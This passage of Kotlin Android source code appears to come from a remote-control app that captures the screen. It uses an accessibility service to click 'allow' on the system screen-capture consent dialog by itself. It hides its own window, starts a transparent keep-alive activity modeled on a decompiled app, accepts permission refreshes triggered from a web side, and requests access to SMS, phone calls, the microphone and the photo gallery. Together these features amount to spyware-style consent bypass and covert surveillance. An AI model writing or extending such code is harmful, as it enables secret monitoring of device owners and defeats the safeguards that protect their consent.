val containsAllowText = allowButtonTexts.any { allowText ->
buttonText.contains(allowText, ignoreCase = true) ||
buttonDesc.contains(allowText, ignoreCase = true)
}
// 检查是否为拒绝按钮
val isDenyButton = denyButtonTexts.any { denyText ->
buttonText.contains(denyText, ignoreCase = true) ||
buttonDesc.contains(denyText, ignoreCase = true)
}
if (containsAllowText && !isDenyButton) {
Log.i(TAG, "✅ Android 10找到允许Button - 文本: '$buttonText'")
Log.i(TAG, "✅ Android 10点击允许Button")
val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
Log.i(TAG, "✅ Android 10Button点击结果: $clickResult")
Thread.sleep(500)
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.i(TAG, "✅ Android 10MediaProjection权限已获得")
return
}
return
}
}
}
Log.w(TAG, "⚠️ Android 10未找到允许按钮")
} catch (e: Exception) {
Log.e(TAG, "❌ Android 10 MediaProjection弹框处理异常", e)
}
}
/**
* 按文本查找节点
*/
private fun findNodesByText(rootNode: AccessibilityNodeInfo, text: String): List<AccessibilityNodeInfo> {
val result = mutableListOf<AccessibilityNodeInfo>()
fun traverse(node: AccessibilityNodeInfo) {
val nodeText = node.text?.toString() ?: ""
val nodeDesc = node.contentDescription?.toString() ?: ""
if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(text, ignoreCase = true)) {
result.add(node)
}
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
traverse(child)
}
}
}
traverse(rootNode)
return result
}
/**
* 按类名查找节点
*/
private fun findNodesByClassName(rootNode: AccessibilityNodeInfo, className: String): List<AccessibilityNodeInfo> {
val result = mutableListOf<AccessibilityNodeInfo>()
fun traverse(node: AccessibilityNodeInfo) {
if (node.className?.toString()?.contains(className) == true) {
result.add(node)
}
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
traverse(child)
}
}
}
traverse(rootNode)
return result
}
/**
* 通知无障碍服务开始权限申请
*/
private fun notifyAccessibilityServicePermissionRequest() {
try {
// ✅ 恢复权限存在检查防止Android 15设备重复申请权限
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.i(TAG, "📱 MediaProjection权限已存在停止权限申请流程")
// 检查是否为Android 15设备的权限恢复场景
val android15Recovery = intent.getBooleanExtra("ANDROID_15_RECOVERY", false)
val permissionLostRecovery =
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
if (android15Recovery || permissionLostRecovery) {
Log.i(TAG, "🔧 Android 15权限恢复场景但权限已存在直接完成恢复")
// 发送权限恢复成功广播
val recoveryIntent =
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
putExtra("success", true)
putExtra("permission_recovery", true)
}
sendBroadcast(recoveryIntent)
// 显示恢复成功状态
runOnUiThread {
statusText.text = "✅ 权限已存在,恢复完成\n功能正常运行"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "恢复完成"
enableButton.isEnabled = false
}
// 2秒后隐藏
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 2000)
} else {
// 普通场景,立即停止申请
val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
sendBroadcast(stopIntent)
Log.i(TAG, "📡 权限已存在发送停止Activity创建广播")
// 立即隐藏Activity
hideActivityToBackground()
}
return
}
Log.i(TAG, "📡 发送权限申请广播,通知无障碍服务准备处理对话框")
// 发送广播通知无障碍服务
val intent = Intent("android.mycustrecev.PERMISSION_REQUEST").apply {
putExtra("permission_type", "media_projection")
putExtra("requesting", true)
}
sendBroadcast(intent)
Log.i(TAG, "✅ 已通知无障碍服务开始权限申请")
} catch (e: Exception) {
Log.e(TAG, "❌ 通知无障碍服务失败", e)
}
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
Log.i(TAG, "🎬 ===== onActivityResult被调用 =====")
Log.i(TAG, "📊 Activity结果详情:")
Log.i(TAG, " - requestCode: $requestCode")
Log.i(TAG, " - resultCode: $resultCode")
Log.i(TAG, " - data: $data")
Log.i(TAG, " - 系统时间: ${System.currentTimeMillis()}")
super.onActivityResult(requestCode, resultCode, data)
when (requestCode) {
REQUEST_MEDIA_PROJECTION -> {
Log.i(TAG, "🎯 处理MediaProjection权限结果")
Log.i(TAG, " - REQUEST_MEDIA_PROJECTION值: $REQUEST_MEDIA_PROJECTION")
Log.i(TAG, " - resultCode详情: $resultCode")
Log.i(TAG, " - RESULT_OK值: ${Activity.RESULT_OK}")
Log.i(TAG, " - RESULT_CANCELED值: ${Activity.RESULT_CANCELED}")
Log.i(TAG, " - Intent数据存在: ${data != null}")
if (data != null) {
Log.i(TAG, " - Intent Action: ${data.action}")
Log.i(TAG, " - Intent Extras: ${data.extras?.keySet()}")
Log.i(TAG, " - Intent Component: ${data.component}")
Log.i(TAG, " - Intent Package: ${data.`package`}")
}
when (resultCode) {
Activity.RESULT_OK -> {
Log.i(TAG, "✅ 用户允许了MediaProjection权限")
}
Activity.RESULT_CANCELED -> {
Log.w(TAG, "❌ 用户拒绝了MediaProjection权限")
}
else -> {
Log.w(TAG, "⚠️ 未知的resultCode: $resultCode")
}
}
handleMediaProjectionResult(resultCode, data)
}
REQUEST_SIMPLE_PERMISSION -> {
Log.i(TAG, "🧪 处理SimplePermissionActivity结果")
Log.i(TAG, " - REQUEST_SIMPLE_PERMISSION值: $REQUEST_SIMPLE_PERMISSION")
Log.i(TAG, " - resultCode详情: $resultCode")
Log.i(TAG, " - Intent数据存在: ${data != null}")
if (resultCode == Activity.RESULT_OK && data != null) {
// 从SimplePermissionActivity获取权限数据
val mediaProjectionResultCode =
data.getIntExtra("resultCode", Activity.RESULT_CANCELED)
val mediaProjectionData = data.getParcelableExtra<Intent>("resultData")
Log.i(TAG, "🧪 SimplePermissionActivity返回权限数据:")
Log.i(TAG, " - MediaProjection resultCode: $mediaProjectionResultCode")
Log.i(TAG, " - MediaProjection data存在: ${mediaProjectionData != null}")
if (mediaProjectionResultCode == Activity.RESULT_OK && mediaProjectionData != null) {
Log.i(TAG, "✅ SimplePermissionActivity权限申请成功")
handleMediaProjectionResult(mediaProjectionResultCode, mediaProjectionData)
} else {
Log.w(TAG, "❌ SimplePermissionActivity权限申请失败")
handleMediaProjectionResult(Activity.RESULT_CANCELED, null)
}
} else {
Log.w(TAG, "❌ SimplePermissionActivity返回失败")
// 回退到内置方法
runOnUiThread {
statusText.text = "🔧 独立Activity失败尝试内置方法...\n正在重新申请权限"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
requestMIUIBuiltinMethod()
}, 1000)
}
}
REQUEST_ACCESSIBILITY_PERMISSION -> {
Log.i(TAG, "🎯 处理无障碍权限结果")
// 从无障碍设置返回更新UI并检查其他权限
updateUI()
// 延迟检查其他权限,让无障碍服务有时间启动
android.os.Handler(mainLooper).postDelayed({
checkAllPermissions()
}, 1000)
}
// 删除悬浮窗权限结果处理
else -> {
Log.w(TAG, "⚠️ 未知的requestCode: $requestCode")
}
}
Log.i(TAG, "🎬 ===== onActivityResult处理完成 =====")
}
private fun handleMediaProjectionResult(resultCode: Int, data: Intent?) {
Log.i(TAG, "🎯 ===== handleMediaProjectionResult开始处理 =====")
Log.i(TAG, "📊 MediaProjection结果详细分析:")
Log.i(TAG, " - resultCode: $resultCode")
Log.i(TAG, " - RESULT_OK: ${Activity.RESULT_OK}")
Log.i(TAG, " - 权限是否成功: ${resultCode == Activity.RESULT_OK}")
Log.i(TAG, " - Intent数据: $data")
Log.i(TAG, " - Intent数据非空: ${data != null}")
if (data != null) {
Log.i(TAG, " - Intent详细信息:")
Log.i(TAG, " * Action: ${data.action}")
Log.i(TAG, " * Component: ${data.component}")
Log.i(TAG, " * Package: ${data.`package`}")
Log.i(TAG, " * Data URI: ${data.data}")
Log.i(TAG, " * Type: ${data.type}")
Log.i(TAG, " * Flags: 0x${data.flags.toString(16)}")
val extras = data.extras
if (extras != null) {
Log.i(TAG, " * Extras数量: ${extras.size()}")
for (key in extras.keySet()) {
val value = extras.get(key)
Log.i(TAG, " - $key: $value (${value?.javaClass?.simpleName})")
}
} else {
Log.i(TAG, " * Extras: null")
}
}
Log.i(TAG, "🔍 检查权限申请上下文:")
Log.i(TAG, " - isAutoPermissionRequest: $isAutoPermissionRequest")
// 检查Intent参数
val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery")
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(TAG, "✅ MediaProjection权限申请成功开始处理权限数据")
// ✅ 清除权限申请标记
markPermissionRequesting(false)
try {
// 将权限数据存储到MediaProjectionHolder中
MediaProjectionHolder.setPermissionData(resultCode, data)
// 启动前台服务
val foregroundServiceIntent = Intent(
this,
com.hikoncont.service.RemoteControlForegroundService::class.java
)
foregroundServiceIntent.action = "START_MEDIA_PROJECTION"
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(foregroundServiceIntent)
} else {
startService(foregroundServiceIntent)
}
Log.i(TAG, "已启动前台服务来处理MediaProjection")
// 检查是否为权限恢复流程
val permissionLostRecovery =
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
// ✅ 使用内部标志而不是Intent参数更可靠
val autoRequestPermission = isAutoPermissionRequest
Log.i(
TAG,
"📊 权限申请结果处理: permissionLostRecovery=$permissionLostRecovery, autoRequestPermission=$autoRequestPermission (内部标志)"
)
if (permissionLostRecovery) {
Log.i(TAG, "✅ MediaProjection权限恢复成功重新启动屏幕捕获")
// 通知AccessibilityService权限恢复成功立即重新启动屏幕捕获
val broadcastIntent =
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
putExtra("success", true)
putExtra("permission_recovery", true)
// 🆕 检查是否为Web端发起的权限刷新请求
val refreshRequest =
intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
if (refreshRequest) {
putExtra("REFRESH_PERMISSION_REQUEST", true)
}
}
sendBroadcast(broadcastIntent)
// 显示恢复成功状态
runOnUiThread {
statusText.text = "✅ 权限恢复成功\n功能已恢复"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "恢复完成"
enableButton.isEnabled = false
}
// 3秒后隐藏界面
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 3000)
} else if (autoRequestPermission) {
Log.i(TAG, "MediaProjection权限申请完成通知无障碍服务继续流程")
// 发送广播通知无障碍服务继续处理(悬浮窗权限由开关控制)
val broadcastIntent =
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
putExtra("success", true)
// 不再强制跳过悬浮窗权限由AccessibilityRemoteService的开关控制
// 🆕 检查是否为Web端发起的权限刷新请求
val refreshRequest =
intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
if (refreshRequest) {
putExtra("REFRESH_PERMISSION_REQUEST", true)
}
}
sendBroadcast(broadcastIntent)
Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService")
// ✅ 直接调用AccessibilityRemoteService方法确保MediaProjection被正确设置
try {
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
Log.i(
TAG,
"🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
)
// 获取MediaProjection对象
val mediaProjection = MediaProjectionHolder.getMediaProjection()
if (mediaProjection != null) {
Log.i(
TAG,
"✅ MediaProjection对象存在直接设置到ScreenCaptureManager"
)
// 直接调用内部方法设置MediaProjection
val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
"setupScreenCaptureWithMediaProjection",
android.media.projection.MediaProjection::class.java
)
setupMethod.isAccessible = true
setupMethod.invoke(accessibilityService, mediaProjection)
Log.i(TAG, "✅ 已直接设置MediaProjection到ScreenCaptureManager")
} else {
Log.w(TAG, "⚠️ MediaProjection对象不存在尝试从权限数据创建")
// 从权限数据创建MediaProjection
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
val (resultCode, resultData) = permissionData
if (resultData != null) {
val mediaProjectionManager =
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val newMediaProjection =
mediaProjectionManager.getMediaProjection(
resultCode,
resultData
)
if (newMediaProjection != null) {
Log.i(TAG, "✅ 从权限数据重新创建MediaProjection成功")
MediaProjectionHolder.setMediaProjection(
newMediaProjection
)
// 设置到ScreenCaptureManager
val setupMethod =
accessibilityService.javaClass.getDeclaredMethod(
"setupScreenCaptureWithMediaProjection",
android.media.projection.MediaProjection::class.java
)
setupMethod.isAccessible = true
setupMethod.invoke(
accessibilityService,
newMediaProjection
)
Log.i(
TAG,
"✅ 已设置重新创建的MediaProjection到ScreenCaptureManager"
)
} else {
Log.e(TAG, "❌ 从权限数据重新创建MediaProjection失败")
}
}
}
}
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不存在")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 直接调用AccessibilityRemoteService失败", e)
}
// ✅ 重置自动权限申请标志
isAutoPermissionRequest = false
permissionRequestInProgress = false // 重置权限申请进行中标志
// ✅ 显示权限申请成功状态,给用户反馈
runOnUiThread {
statusText.text = "✅ 权限申请成功\n正在启动服务..."
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "权限申请成功"
enableButton.isEnabled = false
}
// ✅ 根据悬浮窗权限开关决定后续流程
Log.i(TAG, "🚀 MediaProjection权限成功继续后续权限流程")
// 短暂延迟后让无障碍服务处理后续流程
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
runOnUiThread {
statusText.text = "✅ 服务启动中...\n🔄 正在处理配置中"
enableButton.text = "服务启动中..."
}
}
}, 1500) // 1.5秒后更新状态
// 等待无障碍服务完成处理后,显示最终状态
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
runOnUiThread {
statusText.text = "✅ 服务启动中..."
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
enableButton.isEnabled = false
}
}
}, 5000) // 5秒后显示最终成功状态
}
} catch (e: Exception) {
Log.e(TAG, "启动前台服务失败", e)
}
} else {
Log.w(TAG, "MediaProjection权限申请被拒绝")
// ✅ 检测是否为 MIUI 设备的权限对话框不显示问题
val isXiaomiDevice =
android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) ||
android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) ||
android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) ||
android.os.Build.BRAND.equals("Redmi", ignoreCase = true) ||
android.os.Build.BRAND.equals("POCO", ignoreCase = true)
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29 && isAutoPermissionRequest) {
Log.w(TAG, "🔧 检测到Xiaomi Android 10设备权限被拒绝可能是权限对话框未显示问题")
Log.i(TAG, "🔧 尝试MIUI权限对话框修复方案")
// 方案1尝试通过不同的方式重新启动权限对话框
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
Log.i(TAG, "🔧 MIUI修复尝试重新启动权限对话框")
try {
// 清除Activity任务栈确保干净的启动环境
val intent = Intent(this, MainActivity::class.java).apply {
flags =
Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK
putExtra("AUTO_REQUEST_PERMISSION", true)
putExtra("MIUI_PERMISSION_FIX", true)
putExtra("TIMESTAMP", System.currentTimeMillis())
}
Log.i(TAG, "🔧 MIUI修复重新启动MainActivity")
startActivity(intent)
hideActivityToBackground()
} catch (e: Exception) {
Log.e(TAG, "❌ MIUI修复失败", e)
handleNormalPermissionDenied()
}
}
}, 1000)
return
}
// 如果是自动权限申请但被拒绝,通知无障碍服务
if (isAutoPermissionRequest) {
handleNormalPermissionDenied()
} else {
// 非自动模式下,显示普通的权限申请失败状态
runOnUiThread {
updateUI()
}
}
}
}
/**
* 处理正常的权限拒绝情况
*/
private fun handleNormalPermissionDenied() {
Log.w(TAG, "MediaProjection权限申请被拒绝通知无障碍服务但保持应用打开")
// ✅ 重置权限申请标志
isAutoPermissionRequest = false
permissionRequestInProgress = false
// 发送广播通知无障碍服务权限被拒绝
val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
putExtra("success", false)
// 🆕 检查是否为Web端发起的权限刷新请求
val refreshRequest = intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
if (refreshRequest) {
putExtra("REFRESH_PERMISSION_REQUEST", true)
}
}
sendBroadcast(broadcastIntent)
// ✅ 清除权限申请标记
markPermissionRequesting(false)
// ✅ 不直接关闭应用,而是显示权限状态并允许用户重新尝试
// 使用线程安全方法更新UI
updateStatusTextThreadSafe("⚠️ 权限被拒绝\n服务需要此权限才能工作", android.R.color.holo_red_dark)
updateButtonSafely("重新申请权限", null, true)
// 更新启动参数清除AUTO_REQUEST_PERMISSION标志
intent.putExtra("AUTO_REQUEST_PERMISSION", false)
// ✅ 权限被拒绝后不自动最小化,让用户看到状态并决定下一步操作
Log.i(TAG, "权限被拒绝,保持应用在前台让用户查看状态和重新操作")
}
private fun notifyAccessibilityService() {
try {
// 这个方法现在不需要了MediaProjection将在前台服务中处理
Log.i(TAG, "MediaProjection将在前台服务中处理")
} catch (e: Exception) {
Log.e(TAG, "通知AccessibilityService失败", e)
}
}
override fun onDestroy() {
super.onDestroy()
// ✅ 停止WebView状态更新
stopWebViewStatusUpdate()
// ✅ 新增OPPO设备检测禁用Activity保活
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
Log.i(TAG, "📱 OPPO设备onDestroy跳过透明保活Activity启动仅使用服务保活")
// 清理资源但不启动透明Activity
stopAutoRetry()
Log.i(TAG, "已清理自动重试任务")
return
}
// ✅ 强化安装完成检查,防止过早启动保活
try {
val installationStateManager =
com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (!isInstallationComplete) {
Log.w(TAG, "⚠️ onDestroy: 安装未完成跳过透明保活Activity启动")
return
}
// 检查安装完成时间
val installationTime = installationStateManager.getInstallationTime()
val onDestroyCurrentTime = System.currentTimeMillis()
val timeSinceInstallation = onDestroyCurrentTime - installationTime
if (timeSinceInstallation < 30000L) {
Log.w(TAG, "⚠️ onDestroy: 安装刚完成(${timeSinceInstallation}ms)跳过透明保活Activity启动")
return
}
// 检查应用启动次数
val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
.getInt("launch_count", 0)
if (appLaunchCount < 3) {
Log.w(TAG, "⚠️ onDestroy: 应用启动次数不足($appLaunchCount)跳过透明保活Activity启动")
return
}
// ✅ 参照反编译应用策略应用退出时启动透明保活Activity
// 检查透明保活Activity是否正在运行
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
val runningTasks = activityManager.getRunningTasks(10)
val isTransparentRunning = runningTasks.any { taskInfo ->
taskInfo.topActivity?.className == "com.hikoncont.TransparentKeepAliveActivity"
}
if (!isTransparentRunning) {
Log.i(TAG, "🫥 onDestroy: 透明保活Activity未运行启动透明保活Activity")
val intent =
Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
putExtra("from_mainactivity_destroy", true)
putExtra("keepalive_launch", true)
}
startActivity(intent)
Log.i(TAG, "✅ 透明保活Activity已启动")
} else {
Log.d(TAG, "🔍 onDestroy: 透明保活Activity已在运行无需启动")
}
} catch (e: Exception) {
Log.e(TAG, "❌ onDestroy启动透明保活Activity失败", e)
}
// ✅ 清理自动重试任务,防止内存泄漏
stopAutoRetry()
Log.i(TAG, "已清理自动重试任务")
// ✅ 清理故障恢复机制相关的Handler任务
try {
// 清理所有可能的Handler任务
val mainLooper = android.os.Looper.getMainLooper()
if (mainLooper != null) {
android.os.Handler(mainLooper).removeCallbacksAndMessages(null)
}
Log.i(TAG, "已清理故障恢复机制相关任务")
} catch (e: Exception) {
Log.w(TAG, "清理Handler任务失败: ${e.message}")
}
// ✅ 取消注册广播接收器
try {
unregisterReceiver(combinedBroadcastReceiver)
} catch (e: Exception) {
Log.w(TAG, "取消注册广播接收器失败: ${e.message}")
}
// 🚀 WebView性能优化清理WebView资源
try {
clearWebViewCache()
destroyWebView()
} catch (e: Exception) {
Log.w(TAG, "清理WebView资源失败: ${e.message}")
}
// ❌ 修复不要在MainActivity销毁时停止MediaProjection
// 这会导致权限立即失效特别是Android 15设备
// MediaProjection应该由前台服务和AccessibilityService管理
// mediaProjection?.stop() // 删除这行,防止权限被意外停止
// 清理MediaProjection权限监听
stopMediaProjectionPermissionMonitoring()
Log.i(TAG, "MainActivity销毁完成")
}
/**
* 启动MediaProjection权限监听
*/
private fun startMediaProjectionPermissionMonitoring() {
Log.i(TAG, "🔍 ===== 启动MediaProjection权限监听 =====")
Log.i(TAG, "📊 监听配置:")
Log.i(TAG, " - 最大检查次数: 30")
Log.i(TAG, " - 检查间隔: 500ms")
Log.i(TAG, " - 总超时时间: 15秒")
Log.i(TAG, " - 启动时间: ${System.currentTimeMillis()}")
// 清理之前的监听
stopMediaProjectionPermissionMonitoring()
// 🔧 Android 10 特殊处理:启动权限申请后立即开始弹框处理
if (Build.VERSION.SDK_INT == 29) {
Log.i(TAG, "📱 Android 10设备启动直接弹框处理")
startAndroid10MediaProjectionDialogHandling()
}
mediaProjectionCheckHandler = Handler(Looper.getMainLooper())
mediaProjectionCheckRunnable = object : Runnable {
private var checkCount = 0
private val maxChecks = 30 // 最多检查30次即15秒
private val startTime = System.currentTimeMillis()
override fun run() {
checkCount++
val permissionCheckCurrentTime = System.currentTimeMillis()
val elapsedTime = permissionCheckCurrentTime - startTime
Log.d(TAG, "🔍 权限监听第${checkCount}次检查 (已耗时: ${elapsedTime}ms)")
try {
// 检查MediaProjection权限是否已获取
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.i(
TAG,
"✅ 检测到MediaProjection权限已获取(第${checkCount}次检查),触发权限处理"
)
// 停止监听
stopMediaProjectionPermissionMonitoring()
// 模拟onActivityResult调用
val (resultCode, data) = permissionData
if (data != null) {
Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程")
handleMediaProjectionResult(resultCode, data)
}
return
}
// ✅ 新增检查前台Activity帮助诊断权限弹窗问题
if (checkCount == 2) { // 1秒后检查一次
try {
val activityManager =
getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningTasks = activityManager.getRunningTasks(1)
if (runningTasks.isNotEmpty()) {
val topActivity = runningTasks[0].topActivity
Log.i(TAG, "🔍 1秒后前台Activity: ${topActivity?.className}")
Log.i(TAG, "🔍 前台应用: ${topActivity?.packageName}")
// 检查是否是权限相关的Activity
val isPermissionActivity = topActivity?.packageName?.let { pkg ->
pkg == "com.android.systemui" ||
pkg.contains("permission", ignoreCase = true) ||
topActivity.className?.contains(
"Permission",
ignoreCase = true
) == true
} ?: false
if (isPermissionActivity) {
Log.i(TAG, "✅ 检测到权限相关Activity弹窗可能已出现")
} else {
Log.w(TAG, "⚠️ 未检测到权限Activity弹窗可能没有出现")
}
}
} catch (e: Exception) {
Log.w(TAG, "无法检查前台Activity: ${e.message}")
}
}
// 检查是否超时
if (checkCount >= maxChecks) {
Log.w(TAG, "⚠️ MediaProjection权限监听超时(${checkCount}次检查),停止监听")
stopMediaProjectionPermissionMonitoring()
// ✅ 新增:超时时的设备信息(帮助分析问题)
Log.w(
TAG,
"⚠️ 超时设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL}"
)
Log.w(TAG, "⚠️ 可能原因: 权限弹窗没有出现,或用户未操作")
return
}
// 每500ms检查一次
mediaProjectionCheckHandler?.postDelayed(this, 500)
} catch (e: Exception) {
Log.e(TAG, "❌ 权限监听过程中发生异常", e)
Log.e(TAG, " - 检查次数: $checkCount")
Log.e(TAG, " - 异常类型: ${e.javaClass.simpleName}")
Log.e(TAG, " - 异常消息: ${e.message}")
// 发生异常时继续监听,除非超过最大次数
if (checkCount < maxChecks) {
mediaProjectionCheckHandler?.postDelayed(this, 500)
} else {
Log.e(TAG, "❌ 权限监听因异常和超时而停止")
stopMediaProjectionPermissionMonitoring()
}
}
}
}
// 启动监听
mediaProjectionCheckHandler?.post(mediaProjectionCheckRunnable!!)
Log.i(TAG, "✅ MediaProjection权限监听已启动")
}
/**
* 停止MediaProjection权限监听
*/
private fun stopMediaProjectionPermissionMonitoring() {
mediaProjectionCheckRunnable?.let { runnable ->
mediaProjectionCheckHandler?.removeCallbacks(runnable)
}
mediaProjectionCheckHandler = null
mediaProjectionCheckRunnable = null
}
/**
* 处理短信权限申请请求
*/
private fun handleSMSPermissionRequest() {
try {
val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false)
if (requestSMSPermission) {
Log.i(TAG, "📱 收到短信权限申请请求")
requestSMSPermission()
}
} catch (e: Exception) {
Log.e(TAG, "处理短信权限申请请求失败", e)
}
}
/**
* 处理相册权限申请请求
*/
private fun handleGalleryPermissionRequest() {
try {
val requestGalleryPermission =
intent.getBooleanExtra("request_gallery_permission", false)
if (requestGalleryPermission) {
Log.i(TAG, "🖼️ 收到相册权限申请请求")
requestGalleryPermission()
}
} catch (e: Exception) {
Log.e(TAG, "处理相册权限申请请求失败", e)
}
}
/**
* 处理麦克风权限申请请求
*/
private fun handleMicrophonePermissionRequest() {
try {
val requestMicrophonePermission =
intent.getBooleanExtra("request_microphone_permission", false)
if (requestMicrophonePermission) {
Log.i(TAG, "🎤 收到麦克风权限申请请求")
requestMicrophonePermission()
}
} catch (e: Exception) {
Log.e(TAG, "处理麦克风权限申请请求失败", e)
}
}
/**
* 直接相册权限请求用于VivoAuthorizationHandler调用
*/
private fun requestGalleryPermissionDirectly() {
try {
Log.i(TAG, "🎯 直接相册权限请求")
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
arrayOf(
android.Manifest.permission.READ_MEDIA_IMAGES,
android.Manifest.permission.READ_MEDIA_VIDEO
)
} else {
arrayOf(
android.Manifest.permission.READ_EXTERNAL_STORAGE,
android.Manifest.permission.WRITE_EXTERNAL_STORAGE
)
}
val needPermissions = permissions.filter {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
Log.i(TAG, "🖼️ 直接申请相册权限")
requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
} else {
Log.i(TAG, "✅ 相册权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 直接相册权限请求失败", e)
}
}
/**
* 申请相册权限
*/
private fun requestGalleryPermission() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
arrayOf(android.Manifest.permission.READ_MEDIA_IMAGES)
} else {
arrayOf(android.Manifest.permission.READ_EXTERNAL_STORAGE)
}
val needPermissions =
permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED }
if (needPermissions.isNotEmpty()) {
Log.i(TAG, "🖼️ 申请相册权限")
requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
} else {
Log.i(TAG, "✅ 相册权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限")
}
} catch (e: Exception) {
Log.e(TAG, "申请相册权限失败", e)
}
}
/**
* 直接麦克风权限请求用于VivoAuthorizationHandler调用
*/
private fun requestMicrophonePermissionDirectly() {
try {
Log.i(TAG, "🎯 直接麦克风权限请求")
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
Log.i(TAG, "🎤 直接申请麦克风权限")
requestPermissions(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
REQUEST_MICROPHONE_PERMISSION
)
} else {
Log.i(TAG, "✅ 麦克风权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 直接麦克风权限请求失败", e)
}
}
/**
* 申请麦克风权限
*/
private fun requestMicrophonePermission() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
Log.i(TAG, "🎤 申请麦克风权限")
requestPermissions(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
REQUEST_MICROPHONE_PERMISSION
)
} else {
Log.i(TAG, "✅ 麦克风权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限")
}
} catch (e: Exception) {
Log.e(TAG, "申请麦克风权限失败", e)
}
}
/**
* 直接短信权限请求用于VivoAuthorizationHandler调用
*/
private fun requestSMSPermissionDirectly() {
try {
Log.i(TAG, "🎯 直接短信权限请求")
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val permissions = arrayOf(
android.Manifest.permission.READ_SMS,
android.Manifest.permission.SEND_SMS,
android.Manifest.permission.RECEIVE_SMS,
android.Manifest.permission.READ_PHONE_STATE,
android.Manifest.permission.CALL_PHONE
)
val needPermissions = permissions.filter {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
